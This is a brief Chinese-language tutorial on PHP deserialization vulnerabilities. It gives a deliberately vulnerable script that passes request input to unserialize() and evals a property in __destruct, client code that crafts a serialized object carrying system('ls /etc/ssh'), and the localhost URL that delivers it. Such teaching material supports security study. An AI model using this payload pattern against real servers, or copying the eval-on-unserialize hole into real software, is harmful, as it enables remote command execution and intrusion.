PHP反序列化漏洞

0x00 关于反序列化漏洞

序列化:使用函数serialize()可将实例序列化为字符串
反序列化:使用函数unserialize()可将序列化的字符串还原

  • 服务端有test.php,代码如下
<?php
    class fun{
        public $msg;
        function __construct(){
            echo '__construct';
        }
        function __destruct() {
            eval($this->msg);
        }
    }

    $d = $_REQUEST['str'];
    var_dump($d);
    echo "<br />";
    $tc = unserialize($d);
    var_dump($tc);
?>
  • 客户端可构造如下代码生成序列化后的字符串
<?php
    class fun{
        public $msg;
        function __construct(){
            echo '__construct';
        }
        function __destruct() {
            eval($this->msg);
        }
    }

    $f = new fun();
    $f->msg = "system('ls /etc/ssh');";
    echo serialize($f);
?>

生成的序列化字符串为:O:3:"fun":1:{s:3:"msg";s:22:"system('ls /etc/ssh');";}

  • 提交序列化字符串给服务端从而执行命令

访问http://127.0.0.1/test.php?str=O:3:"fun":1:{s:3:"msg";s:22:"system('ls /etc/ssh');";}即可得到/etc/ssh下的文件

若未作声明则文章版权归本人(@reber)所有,转载请注明原文链接:

可以返回顶部